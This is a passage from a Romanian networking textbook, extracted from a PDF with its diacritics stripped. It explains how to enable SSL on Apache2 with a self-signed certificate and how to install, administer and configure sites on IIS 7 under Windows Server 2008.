Serverul va trebui repornit pentru activarea configuraiilor:


ragnarok:~# apache2ctl restart

Verificarea configuraiilor se realizeaz prin intermediul unui browser. Se poate folosi unul n linie de comand, cum este lynx:
ragnarok:~# lynx http://www.domain.com ragnarok:~# lynx http://www.test.com

9.3 Configurare suport SSL pentru Apache


Deoarece protocolul HTTP nu este un protocol sigur, n multe situaii se dorete folosirea protocolului HTTPS, obinut prin suprapunerea HTTP peste SSL/TLS. Implementrile curente folosesc SSLeay/OpenSSL prin intermediul pachetului openssl pentru a asigura o comunicaie sigur. Paii care trebuie urmai pentru configurarea suportului SSL pentru Apache2 sunt prezentai n continuare.

9.3.1 Activare modul. Configurare Port


Primul pas al configurrii suportului SSL peste Apache este activarea modulului mod_ssl. Modulul este instalat implicit la instalarea serverului i trebuie doar activat. Pentru activare folosim scriptul a2enmod:
ragnarok:~# a2enmod ssl Module ssl installed; run /etc/init.d/apache2 force-reload to enable.

332 | R e e l e L o c a l e

Totodat, serverul trebuie configurat s asculte conexiuni pe portul 443 dedicat conexiunilor HTTPS. Pentru aceasta trebuie adugat linia Listen 443 la fiierul ports.conf:
ragnarok:~# cat /etc/apache2/ports.conf Listen 80 Listen 443

9.3.2 Generare certificat


Pentru a asigura confidenialitatea comunicaiei dintre server i client va trebui generat un certificat. Certificatul va fi folosit local fr a fi semnat de o autoritate (CA) i va genera unele avertismente. Pentru generarea unui certificat se folosete comanda openssl:
keyout ragnarok:~# openssl req $@ -new -x509 -days 365 -nodes -out /etc/apache2/apache.pem /etc/apache2/apache.pem Generating a 1024 bit RSA private key ......................................................++++++ ....++++++ writing new private key to '/etc/apache2/apache.pem' [] ----Country Name (2 letter code) [AU]:RO State or Province Name (full name) [Some-State]:Bucharest Locality Name (eg, city) []:Bucharest Organization Name (eg, company) [Internet Widgits Pty Ltd]:University Politehnica of Bucharest Organizational Unit Name (eg, section) []:Computer Science Common Name (eg, YOUR name) []:Razvan Deaconescu E-mail Address []:razvan.deaconescu@cs.pub.ro

Certificatul trebuie s fie accesibil doar utilizatorului root:


ragnarok:~# chmod 600 /etc/apache2/apache.pem

9.3.3 Configurare virtual host


Pentru a folosi suportul SSL va trebui configurat virtual host care s asculte conexiuni pe portul 443 i s foloseasc facilitile modulului mod_ssl. Pentru aceasta se nlocuiete directiva NameVirtualHost * n fiierul /etc/apache2/conf.d/virtual.conf creat n seciunea 9.2.4.3:
ragnarok:~# cat /etc/apache2/conf.d/virtual.conf NameVirtualHost 88.77.66.55:80 NameVirtualHost 88.77.66.55:443

Este, aadar, nevoie de dou virtual host-uri: unul care va asculta conexiuni necriptate pe portul 80 i altul care va asculta conexiuni criptate pe portul 443. Se poate observa c, spre deosebire de gzduirea virtual bazat pe nume, la gzduirea virtual bazat pe porturi este necesar prezena adresei IP, considerat aici 88.77.66.55. Pentru aceasta, se creeaz o copie a fiierului de configuraie pentru virtual host-ul implicit i se activeaz folosind a2ensite:
ragnarok:~# cp /etc/apache2/sites-available/default /etc/apache2/sites-available/ssl ragnarok:~# a2ensite ssl Site ssl installed; run /etc/init.d/apache2 reload to enable.

Virtual host-ul implicit va asculta conexiuni pe portul 80 i va trebui nlocuit linia *> cu <VirtualHost 88.77.66.55:80>. VirtualHost-ul ssl va asculta conexiuni pe portul 443 i va oferi suport SSL:
<VirtualHost
ragnarok:~# head -n 1 /etc/apache2/sites-enabled/000-default <VirtualHost 88.77.66.55:80> ragnarok:~# head -n 5 /etc/apache2/sites-enabled/ssl <VirtualHost 88.77.66.55:443> ServerAdmin webmaster@localhost SSLEngine On SSLCertificateFile /etc/apache2/apache.pem

333 | W o r l d W i d e W e b

Directiva SSLEngine On activeaz suportul SSL iar directiva SSLCertificateFile precizeaz certificatul generat n seciunea 9.3.2 Dup toate configurrile, se repornete serverul:
ragnarok:~# apache2ctl restart

Verificarea configuraiei se face prin folosirea URL-urilor http://88.77.66.55, respectiv https://88.77.66.55:443 pentru conexiune criptat. n locul adresei IP poate fi folosit numele de domeniu al staiei (Fully Qualified Domain Name FQDN).

9.4 IIS 7 i Windows Server 2008


Internet Information Services (IIS) reprezint alternativa Microsoft pentru serverele de pagini web. n momentul de fa, IIS a ajuns la versiunea 7, versiune ce este inclus implicit n variantele Windows Server 2008. Evident, versiunile prin care IIS a trecut pn acum au existat n primul rnd din intenia de a spori gradul de securitate i de a repara erorile introduse n versiunile precedente. IIS 6.0, spre exemplu, a reprezentat doar o variant cu funcionalitate sporit a lui IIS 4. De asemenea, instalarea versiunilor anterioare lui 7 avea ca efect instalarea aproape a tuturor facilitilor n mod implicit, lsnd administratorului doar cteva componente opionale ce puteau fi instalate la cerere. Cel puin din acest punct de vedere, versiunea 7 este superioar i printrun grad mult mai ridicat de granularitate, ncercnd s respecte ideea pe care Microsoft a introdus-o odat cu Windows Server 2008 i continu s o promoveze: ceea ce nu se instaleaz nu trebuie ntreinut1. Aceast nou versiune este prima reconstruit de la zero i conceput din start pentru a fi modularizat. Acest lucru, pe de o parte, reduce din complexitatea suprafeei expuse atacurilor i, pe lng un spor de securitate, ajut la minimizarea timpilor mori n ntreinerea serverelor cauzai de schimbri de software, actualizri i modificri importante n configuraii. De asemenea, i interfaa de administrare a fost refecut, renunndu-se la vechea interfa introdus n versiunea 4. Aceasta aduce un plus din punctul de vedere al organizrii i al structurrii sarcinilor, fiind conceput ca un dashboard (n stilul Server Manager i Control Panel). Modularitatea componentelor lui IIS 7 este facilitat i prin faptul c acum administratorii beneficiaz de opiunea de a delega un numr semnificativ de sarcini chiar dezvoltatorilor sau proprietarilor site-urilor web. Pentru un server care gzduiete un numr mare de site-uri web dar al crui administrator nu deine drepturile de proprietate asupra coninutului lor, aceast metod de delegare ofer o soluie adecvat. Detaarea anumitor responsabiliti unor tere persoane ntr-un mod securizat, elimin astfel responsabilitatea administratorului serverului pentru schimbri uor de efectuat asupra site-urilor. De obicei aceste drepturi permit schimbri ce nu afecteaz stabilitatea, integritatea sau securitatea serverului pe care acestea ruleaz. De asemenea, versiunea 7 ofer i utiltare adiionale de monitorizare a performanei i de tratare a erorilor ce nu existau n versiunile anterioare. Spre exemplu se poate vizualiza fiecare cerere venit spre server pentru a se depista cu uurin cauza unei probleme sau din ce locaie sau ce aplicaie folosete resursele serverului. IIS 7 are la baz un motor complet nou, conceput pentru a adresa neajunsurile versiunilor precedente, avnd n vedere att efortul de mentenan din partea administratorilor ct i necesitile dezvoltatorilor de aplicaii web.

Original, eng.: What doesnt get installed wont need to get patched.

334 | R e e l e L o c a l e

9.4.1 Avantajele lui IIS 7


IIS 7 a fost conceput pentru a oferi administratorilor i dezvoltatorilor urmtoarele faciliti:
Un model extensibil i modular pentru a spori uurina administrrii i a minimiza riscurile de securitate; Posibilitatea de a delega sarcini administrative; Unelte de monitorizare i diagnorstic incluse n aplicaie, facilitnd accesul la mecanismul intern de funcionare al IIS; Interfa de administrare mai intuitiv; Instalare prin Xcopy.

IIS 7 permite delegarea de sarcini administrative dezvoltatorilor sau proprietarilor de siteuri. Instalarea este acum complet customizabil i permite selectarea specific a componentelor dorite spre a fi instalate i utilizate. Dezvoltatorii benficiaz acum de API-uri (Application Programming Interface) mult mai complexe i mai capabile. Tot aceste API-uri permit i administratorilor, pe de alt parte, s interacioneze prin cod, serverul folosind namespace-ul Microsoft.Web.Administration, sau prin WMI (Windows Management Instrumentation). Starea serverului poate fi inspectat folosind servicii de tip WCF (Windows Communication Foundation) ca WAS (Windows Activation Service), care ofer posiblitatea de management al resurselor, de inspecie la nivel de proces i de detectare automat a erorilor. Spre exemplu, dac o cerere expir n timp nainte ca aceasta s fie executat, IIS 7 poate parcurge i descrie n sens invers codul ce a fost executat pn la generarea acesteia, pentru a oferi o imagine ct mai intuitiv asupra cauzei problemei. Funcionalitatea intern a serverului este acum mult mai expus, permind n orice moment monitorizarea activitii interne, a cererilor sosite, a resurselor accesate i a aciunilor executate. Pe lng interfaa grafic de administrare, IIS 7 ofer i o interfa n linie de comand numit appcmd.exe ce poate fi folosit pentru a vizualiza i a modifica o serie semnificativ de opiuni ale serverului. n fine, una dintre cele mai spectaculoase mbuntiri introduse odat cu IIS 7 este posibilitatea de a migra i de a distribui extrem de uor configuraii ntre servere multiple folosind Xcopy i fiiere de tip web.config. n aceste fiiere pot fi stocate informaii referitoare la aplicaie sau la diverse site-uri i simpla copiere a acestor fiiere pe un nou server are ca afect activarea imediat a noii configuraii. Aceast facilitate, dei inclus pentru prima oar n IIS, a existat n alte servere web de muli ani.

9.4.2 Instalarea IIS 7

9.4.2.1 Instalarea din Server Manager


Instalarea lui IIS 7 pe un sistem Windows Server 2008 decurge conform pailor urmtori. Nu este necesar descrcarea de pe Internet a vreunui pachet de instalare sau a unei configuraii.
1. Se deschide Server Manager (din meniul Start > Administrative Tools sau direct din Quick Launch); 2. Se selecteaz opiunea Add Roles din seciunea Roles Summary (sau se face clic pe Roles n arborele din partea stng pentru a afia doar aceast seciune); 3. Se verific condiiile explicate n ecranul afiat i se apas Next (n special e recomandat asignarea unei adrese IP statice n prealabil pe interfaa de pe care se vor primi cererile, ca i n cazul altor servere);

335 | W o r l d W i d e W e b 4. Din ecranul Select Server Roles se selecteaz Web Server (IIS);

9-2: Instalarea componentelor suplimentare necesare pentru IIS 7


5. Dac este necesar, instalarea va ateniona n legtur cu faptul c sunt necesare i alte componente pentru funcionarea IIS, ca n figura 9-2. Se adaug facilitile necesare i se continu;

9-3: Lista de componente opionale pentru IIS 7


6. Se trece i de urmtoul ecran informativ i se ajunge la lista de opiuni ale serverului. n fereastra Select Role Services sunt enumerate principalele componente ale IIS. Aici se poate

336 | R e e l e L o c a l e specifica dac se intenioneaz ca serverul s suporte pagini ASP, script-uri CGI, s controleze un server FTP, etc1. 7. Se revizuiesc opiunile selectate pentru instalare i se apas Install pentru a porni instalarea; 8. Se nchide utilitarul de instalare, dup terminare.

Alegerea componentelor opionale nu este definitiv dup instalarea serverului. Acestea pot fi instalate sau dezinstalate ulterior tot din Server Manager, din pagina de diagnostic a Web Server (IIS) localizat sub categoria Roles, prin opiunile Add Role Services i Remove Role Services.

9-4: Adugarea i eliminarea de componente din IIS dup instalare

9.4.2.2 Instalarea automat (Unattended Installation)


n cazul n care instalarea IIS 7 trebuie fcut pe mai multe servere iar configurarea acestuia este aproximativ similar pe toate serverele, procesul de instalare poate fi automatizat. Pentru aceasta poate fi folosit utilitarul pkgmgr.exe n dou moduri: se pot specifica pachetele de instalat direct n linia de comand sau se poate scrie un fiier XML cu lista opiunilor ce se doresc a fi instalate. Din moment ce IIS 7 este dependent de WAS (aa cum s-a specificat i la instalarea prin Server Manager), componentele acestuia vor trebui specificate explicit n comanda de instalare sau n fiierul XML. Pentru instalarea componentelor implicite ale IIS 7 folosind doar interpretorul de comenzi, se introduce urmtoarea comand. De remarcat enumerarea componentelor fa de care IIS 7 are dependene:
Start /w pkgmgr.exe /iu:IIS-WebServerRole;WAS-WindowsActivationService;WASProcessModel;WAS-NetFxEnvironment;WAS-ConfigurationAPI

Pentru a automatiza instalarea folosind un fiier XML, se creeaz unul cu urmtorul coninut:
<?xml version="1.0" ?> <unattend xmlns="urn:schemas-microsoft-com:unattend" xmlns:wcm="http://schemas.microsoft.com/WMIConfig/2002/State"> <servicing> <package action="configure"> <assemblyIdentity name="Microsoft-Windows-Foundation-Package" version="6.0.6001.17051" language="neutral" processorArchitecture="x86" publicKeyToken="31bf3856ad364e35" versionScope="nonSxS" /> <selection <selection <selection <selection <selection </package> </servicing> </unattend> name="IIS-WebServerRole" state="true"/> name="WAS-WindowsActivationService" state="true"/> name="WAS-ProcessModel" state="true"/> name="WAS-NetFxEnvironment" state="true"/> name="WAS-ConfigurationAPI" state="true"/>

9-5: Coninutul unui fiier XML de instalare cu opiuni implicite pentru IIS 7
Deoarece lista de componente este prea vast pentru a fi inclus aici, ea poate fi consultat pe Internet la adresa http://technet.microsoft.com/en-us/mscomops/cc403255.aspx
1

337 | W o r l d W i d e W e b

Cteva dintre optiunile din fiierul XML trebuie specificate innd cont de maina pe care se realizeaz instalarea:
Valoarea atributului version trebuie s fie valoarea exact a instalrii de Windows Server 2008. Aceasta se poate afla la seciunea Details din pagina de proprieti a fiierului explorer.exe (direct n directorul %WINDIR%); Valoarea atributului processorArchitecture va trebui s corespund cu procesorul instalat pe sistemul curent. Opiunile sunt: x86, x64 i amd64;

Utilizarea fiierului XML creat se face tot din linia de comand. Presupunnd c a fost salvat cu numele unatt_inst.xml, comanda este urmtoarea:
Start /w pkgmgr /n:c:\unatt_inst.xml

De asemenea, aceste comenzi sunt disponibile i n varianta Server Core a Windows Server 2008, ele reprezentnd chiar modalitatea de instalare a IIS 7 pe aceast variant de Windows.

9.4.3 Interfaa de administrare


O schimbare semnificativ n noua versiune de IIS o reprezint interfaa sa de administrare: IIS Manager. La o instalare cu setrile implicite, aceasta se instaleaz automat. IIS Manager poate fi accesat prin: Start > Administrative Tools > Internet Information Services (IIS) Manager sau prin numele executabilului su, introdus direct n fereastra de Run sau la Search, n meniul Start: InetMgr.exe.

9-6: Consola de management a IIS 7 n zona principal a ferestrei sunt enumerate ultimele servere spre care au fost realizate conexiuni, cteva sarcini uzuale i legturi de ajutor pe Internet. n zona din partea stng sunt enumerate diferite conexiuni ctre servere IIS 7. n mod implicit doar serverul local este afiat sub forma numelui calculatorului pe care ruleaz, fiind asociat acestuia. Conexiunile noi pot fi adugate prin butonul Create New Connection, de deasupra listei. Pentru a accesa setrile serverului curent, se face clic pe numele su:

338 | R e e l e L o c a l e

9-7: Interfaa de proprieti a serverului local n panoul de conexiuni, sub serverul local se gsesc alte dou elemente: Application Pools i Sites. O aplicaie, n sensul IIS, se refer la o aplicaie ce este rulat prin intermediul IIS i care poate fi o aplicaie web. Un Application Pool poate conine mai multe astfel de aplicaii iar utilitatea sa const n faptul c permite administratorului s configureze un anumit nivel de izolare ntre diferitele aplicaii gzduite pe server. Spre exemplu, toate aplicaiile web pot fi incluse n acelai Application Pool. Tot n acest context, gruparea aplicaiilor poate fi fcut i din cosiderente de securitate. Fiecare Application Pool ruleaz ntr-un proces separat, ceea ce constituie un alt avantaj: erorile aprute ntr-unul dintre Application Pool-uri nu vor putea afecta funcionalitatea celorlalte aplicaii. n lipsa unor Application Pool-uri definite manual de ctre administrator, toate aplicaiile de pe server vor rula n acelai Application Pool, cel implicit. Un Appplication Pool poate fi considerat, ca o privire de ansablu, ca un server web virtual, de sine stttor. Resurse ca nivelul de ocupare al procesorului sau cantitatea de memorie RAM utilizabil pot fi configurate pentru fiecare Application Pool n parte. Pentru uurarea ntreinerii lor, ele pot fi programate pentru a se restarta periodic sau a se opri automat n momentul n care sunt detectate prea multe erori ntr-un interval de timp dat. Pot fi create orict de multe Application Pool-uri se dorete, dar trebuie avut n vedere faptul c fiecare va consuma resursele sistemului iar crearea unui proces pentru fiecare va aduga un surplus la ncrcarea scheduler-ului de procese din sistem. Un sistem desktop decent poate suporta aproximativ 25 de Application Pool-uri fr degradri semnificative de performan. Factorii care influeneaz numarul de Application Pool-uri suportate de sistem sunt:
Procesorul i memoria sistemului Numrul aplicaiilor din pool-uri i tipul lor Numrul de cereri de procesat pentru aceste aplicaii Resursele consumate de alte procese sau servere instalate n sistem

Cel de-al doilea element din panoul Connections l reprezint Sites, ce cuprinde toate siteurile web ce sunt configurate pe serverul curent. Tipurile de site-uri ce pot fi gzduite pe server depind de modulele opionale alese la instalare sau ulterior. Implicit, folosind

339 | W o r l d W i d e W e b

configuraia de baz de la instalare, IIS 7 poate servi doar pagini statice (fiiere HTML). Pentru paginile ce includ coninut dinamic, ca ASP (Active Server Pages), ASP.NET, PHP sau CGI (Common Gateway Interface) e necesar adugarea unor module suplimentare.

9-8: Pagina de proprieti a unui site n panoul central pot fi vizualizate fie proprietile unui site, fie coninutul su (fiierele propriu-zise i structura de directoare). Pentru a schimba ntre aceste dou moduri, exist butoanele Features View i Content View n partea inferioar. De asemenea, proprietile pot fi grupate dup funcii i afiate n mai multe moduri, n stilul Windows Explorer. n fine, panoul din partea dreapt, Actions, ofer accesul rapid la diferite comenzi i aciuni contextuale, n funcie de ce elemente sunt selectate n panoul de proprieti sau n arborele de conexiuni din partea stng. De aici se poate porni sau opri serverul (dac este selectat n partea stng), se pot activa sau dezactiva site-uri, se pot vizualiza i accesa paginile de modificare a proprietilor lor i se pot deschide rapid site-urile direct n browser. Atenie! Pornirea, oprirea sau restartarea serverului IIS poate fi fcut att din interfaa sa de management ct i din Server Manager, la selectarea lui din lista de roluri. Modificrile efectuate n una dintre aceste zone pot s nu fie vizibile imediat n cealalt. E recomandabil ca pentru rolurile de server ce dein interfee proprii de administrare, s se interacioneze cu ele doar prin intermediul acestora, Server Manager fiind folosit doar pentru verificri i diagnosticri. Server Manager beneficiaz de o opiune care actualizeaz odat la fiecare 2 minute informaiile afiate. n partea inferioar se afieaz secunda ultimei actualizri i un link pentru configurarea frecvenei de actualizare.

9.4.4 Adugarea unui site web


Site-urile nregistrate pe serverul local sunt listate n interfaa IIS Manager, grupate sub categoria Sites a serverului din panoul Connections. Implicit, IIS definete un site accesibil accesibil prin orice interfa (inclusiv cea de loopback) la portul 80. Este recomandabil ca dup

340 | R e e l e L o c a l e

instalarea IIS s se verifice funcionarea sa prin accesarea adresei http://localhost ntr-un browser. Site-ul afiat n mod implicit conine o pagin simpl HTML ce afieaz o imagine. Dup instalare, singurul site definit este cel implicit, denumit Default Web Site. Pentru a aduga un nou prim site, se poate crea unul nou sau se pot modifica parametrii acestui site implicit. Pentru nceput, el poate fi redenumit prin clic dreapta i Rename. Instalarea lui IIS are ca efect i crearea unui director la adresa C:\Inetpub\wwwroot ce reprezint i rdcina pentru site-ul implicit. Coninutul su poate fi vizualizat fie din Windows Explorer, fie din interfaa de management a IIS, selectnd site-ul i alegnd opiunea Content View. n special la crearea noilor site-uri trebuie avut n vedere faptul c IIS implementeaz un sistem de configuraii pe dou niveluri: unul global, ce afecteaz funcionarea ntregului server i, implicit, a tuturor site-urilor definite n acesta i unul la nivel de site, particularizat pentru fiecare site adugat. Adugarea unui site se face urmnd etapele de mai jos. De menionat c aceste setri nu sunt definitive i pot fi modificate n orice moment ulterior, dup definirea site-ului:
1. n IIS Manager se face clic pe grupul Sites din panoul de conexiuni i apoi pe Add Web Site din panoul Actions. Se deschide fereastra Add Web Site:

9-9: Adugarea unui nou site


2. n cmpul Site name poate fi introdus orice nume pentru noul site (numele e folosit doar n scop administrativ). Totodat, un Application Pool cu acelai nume va fi creat iar dac se dorete folosirea unuia deja existent (cum ar fi DefaultAppPool, cel implicit) se poate specifica acest lucru printr-un clic pe butonul Select. 3. n cmpul Physical Path se introduce calea spre locaia n care sunt stocate fiierele site-ului, ce reprezint, totodat, i rdcina sa. Calea poate descrie o locaie de pe serverul local sau una accesibil pe un alt server, dac respect convenia UNC.

341 | W o r l d W i d e W e b

UNC (Universal Naming Convention) reprezint un standard ce i are originile n comunitatea UNIX. El descrie un mod de adresare folosit pentru a identifica servere, imprimante i alte resurse dintr-o reea. O cale UNC folosete dou slash-uri sau backslash-uri ce preced numele staiei, urmnd ca discurile i directoarele s fie separate prin slash-uri sau backslash-uri simple. Literele unitilor (C:, D:, etc) folosite n DOS/Windows nu sunt utilizate n UNC. Un exemplu de cale UNIX este //server/cale iar una DOS/Windows este \\server\cale.
4. n mod implcit, IIS folsete o autentificare de tip pass-through pentru a ncerca s acceseze calea specificat la punctul anterior (rdcina). Acest tip de autentificare nseamn c IIS va ncerca s acceseze conintul site-ului folosindu-se de drepturile i identitatea utilizatorului care efectueaz cererea. Tot n acest caz, fiierele de configurare vor fi accesate folosind identitatea configurat n Application Pool-ul corespunztor. Pentru cereri anonime, IIS folosete drepturile unui utilizator propriu, IUSR, obinute prin apartenena la grupul IIS_IUSRS, ambele create odat cu instalarea serverului. 5. n zona de Binding se specific protocolul folosit, HTTP sau HTTPS (securizat), adresa IP1 a interfeei pe care vor fi ascultate cererile i portul ce le va accepta. Implicit, pentru HTTP acesta va fi 80 iar pentru HTTPS va fi 443. 6. Dac se deine un nume de domeniu pentru accesarea site-ului, acesta poate fi introdus la Host name.

Dup validarea cofiguraiei de mai sus i nchiderea ferestrei, site-ul va fi listat sub grupul Sites n IIS Manager. Atenie la crearea unui site cu o configuraie ca n figura 9-9, care s funcioneze pe toate interfeele i portul 80, n condiiile n care exist deja site-ul implicit cu aceleai setri. IIS va ateniona cu privire la acest aspect. De asemenea, crearea unui site cu o rdcin n care nu exist o pagin index va returna o eroare de tip 401.3 Unauthorized deoarece setrile implicite ale site-urilor nu permit listarea coninutului directoarelor n lipsa unui fiier index.

9.4.5 Configurarea site-urilor


Opiunile i parametrii disponibili pentru configurare sunt n numr mare, mai ales avnd n vedere capabilitile oferite de modulele opionale ce pot fi instalate mpreun cu IIS. n cele ce urmeaz vor fi prezentate cteva faciliti uzuale i utile pentru majoritatea aplicaiilor web.

9.4.5.1 Setri globale ale site-urilor


Configurrile implicite pentru IIS afecteaz toate site-urile nregistrate n acesta. Pentru a accesa aceste setri, n interfaa de administare IIS, n panoul de conexiuni, se alege Sites iar n panou de aciuni se selecteaz Set Web Site Defaults. Este afiat fereastra din figura 9-10:
Application Pool reprezint platoforma pe care vor rula site-urile. Implicit, este DefaultAppPool. Physical Path Credentials permite specificarea unui anumit utilizator ce va fi folosit pentru accesarea resurselor site-urilor. l lipsa unuia, se va folosi autentificare de tip pass-through (dup cum s-a explicat n 9.4.4). Physical Path Credentials Logon Type: Specific modul de autentificare ce va fi folosit pentru a accesa resursele fizice din spatele unor directoare virtuale. Mai multe despre directoarele virtuale n seciunea 9.4.8. Start Automatically are ca efect punerea n funciune imediat a site-ului dup crearea sa.

Adresa IP poate fi specificat att n format IPv4 ct i n format IPv6.

342 | R e e l e L o c a l e

9-10: Setrile implicite ale site-urilor IIS


Connection Limits permite definirea intervalului de time-out pentru conexiuni, a numrului maxim de conexiuni simultane acceptate, precum i a lrgimii de band maxime ce va fi folosita pentru a rspunde cererilor. Enabled Protocols include protocoale ca HTTP i/sau HTTPS ce vor fi active implicit pentru toate site-urile definite.

Setrile configurate aici vor fi aplicate tuturor site-urilor definite n IIS. Bineneles, fiecrui site i se pot modifica ulterior proprietile n mod independent. Parametrii de mai sus pot fi accesai i modificai n configuraia fiecrui site, selectndu-l i alegnd linkul Advanced Settings din panoul de aciuni. Din moment ce setrile de mai sus sunt incluse n categoria Advanced Settings ale siteurilor, n particular, parametrii de baz ai site-urilor (tipuri de documente, securitate, pagini de eroare, etc) pot fi i ei configurai la nivel global, o practic util mai ales cnd un server gzduiete mai multe site-uri nrudite ca tehnologie i funcionalitate. Pentru a accesa setrile de baz ale site-urilor la nivel global, se selecteaz serverul din lista de conexiuni iar panoul central se seteaz pe Features View.

9.4.5.2 Setri particulare ale site-urilor


Selectarea unui site i alegerea modului de vizualizare Features View are ca efect listarea unei serii de pictograme ce reprezint legturi rapide spre diverse categorii de proprieti configurabile ale site-ului. O parte dintre setrile disponibile la nivel de site se regsesc n continuare i la nivel de director/zon a unui site. n general, ca i n ierarhia server-sitedirector, setrile mai particulare, dac sunt configurate, preced n prioritate pe cele motenite de la nivelul superior. Setrile de la fiecare categorie sunt, n cea mai mare parte, explicite prin ele nsele:
Compression: n mod implicit, n IIS compresia coninutului paginilor statice este activ. IIS genereaz versiuni comprimate ale fiierelor returnate i folosete aceeai variant comprimat pentru mai multe cereri, optimiznd astfel utilizare lrgimii de band. Activarea compresiei coninutului dinamic este posibil prin instalarea unui modul separat (ce putea fi selectat i la instalarea IIS), dar trebuie avut n vedere faptul c IIS nu va stoca ntr-o memorie cache coninutul dinamic, ci va realiza recompresia pentru fiecare cerere n parte. Aceast opiune este viabil doar pentru medii n care lrgimea de band este foarte limitat dar n care viteza de rspuns a serverului nu este de prim importan (i, bineneles, unde exist necesitatea coninutului dinamic).

343 | W o r l d W i d e W e b Setrile compresiei sunt disponibile i la nivel de server (se selecteaz serverul din lista de conexiuni i se alege Compression din Features View), unde beneficiaz de opiuni suplimentare:
o o o Mrimea minim a fiierelor ce vor fi comprimate Directorul temporar n care sunt stocate variantele comprimate ale fiierelor Limita mrimii acestui director, la nivel de Application Pool

Default Document Page: Aceast opiune permite specificarea documentului ce va fi cutat i returnat (dac exist) n momentul n care o cerere nu adreseaz un anumit fiier, ci doar o locaie. Fiierele cutate sunt de tipul index.html, Default.html, Default.asp, etc. Lista de fiiere permite i rearanjarea lor pentru a defini ordinea n care vor fi cutate n locaia adresat. Se poate aduga orice tip de fiier selectnd Add n panoul de aciuni. E recomandabil ca ordinea s conin pe prima poziie chiar fiierul ce este folosit drept fiier index n site, pentru a optimiza procesul de cutare. Fiierele pot avea dou atribute: Local sau Inherited, primul artnd c fiierul a fost definit local iar cel de-al doilea c fiierul a fost definit ntr-o locaie superioar n ierarhia de configuraie. Fiierele marcate ca Inherited la nivel de site sunt marcate Local la nivel de server. Directory Browsing: n momentul n care IIS primete o cerere ce nu adreseaz un fiier specific, el va cuta secvenial unul dintre fiierele definite la Default Document Page n acea locaie, pentru a-l returna. Dac nu gsete un astfel de document, va verifica dac listarea coninutului directoarelor este activ pentru acea locaie i, n caz afirmativ, va afia o pagina ce listeaz fiierele i directoarele de la adresa respectiv, mpreun cu informaiile selectate n Directory Browsing. Se pot afia informaii legate de dat/timp, mrime i extensie. Error Pages: Cererile HTTP pot genera erori identificate prin coduri numerice. Pentru fiecare astfel de eroare, administratorul poate defini returnarea unui coninut static, executarea unui anumit URL sau returnarea unui mesaj de redirectare. IIS definete implicit cteva asocieri ntre codurile de eroare cele mai des ntlnite i pagini statice. Acestea pot fi modificate sau suplimentate cu noi intrri, din panoul de aciuni. Link-ul Edit Feature Settings permite alegerea unui nivel de detaliu pentru paginile ce descriu erorile, precum i definirea unei pagini de eroare globale, pentru toate codurile de eroare ce nu au o aciune definit. Handler Mappings: Handler-ele sunt elementele ce proceseaz cererile venite spre site-urile sau aplicaiile IIS-ului. IIS determin handler-ul prin care va trata o cerere conform ordinii definite n pagina de Handler Mappings. Printre handler-ele definite implicit se afl i cel de StaticFile, folosit pentru returnarea coninutului static. Printre atributele handler-elor (afiate n lista i necesare i la definirea unora noi) se numr:
o o o o Request Path: Reprezint fiierul sau extensia pentru care handler-ul se va aplica. Se pot folosi wildcard-uri (spre exemplu, StaticFIle se aplic oricrui fiier i are trecut un * la Request Path) Path Type: Descrie tipul cii pentru care se realizeaz maparea cu handler-ul. Aceasta poate fi cale spre un fiier i/sau spre un director sau poate fi lsat nespecificat. Handler: Definete efectiv modulul sau un tip .NET ce va rspunde cererii. Entry Type: Ca i n cazul altor proprieti, handler-ele pot fi definite local sau pot fi motenite de la nivelurile superioare.

HTTP Response Headers: Cnd un browser cere o pagin web unui server, se returneaz un antet HTTP n pagina de rspuns, ce include versiunea HTTP i tipul coninutului. IIS nu definete implicit niciun fel de astfel de antete. Totui, pentru anumite pagini pot fi definite antete ce vor fi returnate clienilor ce informeaz despre starea paginii (spre exemplu, Under construction). La adugarea unui antet, se introduce un nume i o valoare ce reprezint calea spre coninutul antetului. MIME Types1: Lista de extensii (mpreun cu un coninut corespunztor) ce cauzeaz IIS-ului s returneze acele fiiere drept coninut static (nu sunt interpretate dinamic). Lista cuprinde fiiere multimedia, imagini, documente, etc.

MIME = Multipurpose Internet Mail Extensions. Detalii la: http://en.wikipedia.org/wiki/MIME

344 | R e e l e L o c a l e Modules: Modulele reprezint efectiv elementele de cod care trateaz cererile recepionate de server. Un modul mpreun cu aciunile pe care le poate executa reprezint un handler, iar un handler mpreun cu tipul de cerere cruia i se aplic reprezint o asociere a sa (un handler mapping). Lista de module disponibile aici este identic cu cea accesibil la editarea sau adugarea de intrri n Handler Mappings. Output Caching: Output Cache-ul reprezint o zon din memoria serverului unde sunt pstrate resursele accesate frecvent, pentru a optimiza att timpul de rspuns la o cerere ct i cel de localizare a unei resurse. Este util folosirea unui astfel de cache n special n situaiile n care serverul depinde de programe secundare pentru procesare (CGI) sau pentru acces la date/resurse (baze de date). Dac memoria disponibil serverului este prea mic, se va elibera memoria cache. Cererile vor continua apoi s fie pstrate i n cache pe msur ce sunt ndeplinite. Adugarea unei noi reguli de caching se face prin selectarea lui Add din panoul de aciuni. O regul de caching poate fi definit prin urmtorii parametri:
o o File name extension: Extensia fiierelor asupra crora se va aplica regula curent de caching. User-mode caching: Configureaz regula curent s stocheze coninutul cache-ului n spaiul utilizator. Actualizarea informaiilor din memoria temporar poate fi fcut n momentul n care IIS primete o notificare de modificare a coninutului unui fiier, regulat, la intervale fixe de timp sau se poate crea o regul care mpiedic explicit caching-ul unui anumit tip de fiier. La setrile avansate se poate configura ca serverul s stocheze n cache versiuni diferite ale aceluiai fiier n funcie de variabilelele sau antetele din cereri. Kernel-mode caching: Configureaz regula curent s stocheze coninutul cache-ului n spaiul kernel. Avantajul const n faptul c returnarea coninutului static din spaiul kernel se face mai rapid dect n cazul spaiului utilizator. Opiunile legate de actualizare informaiilor din cache sunt aceleai ca i la User-mode caching, mai puin setrile avansate. Dac se activeaz att User-mode caching ct i Kernel-mode caching i se folosete actualizarea la intervale regulate, cu aceeai valoare configurat n ambele situaii, se va folosi automat doar cache-ul din kernel.

9-11: Crearea unei reguli de caching

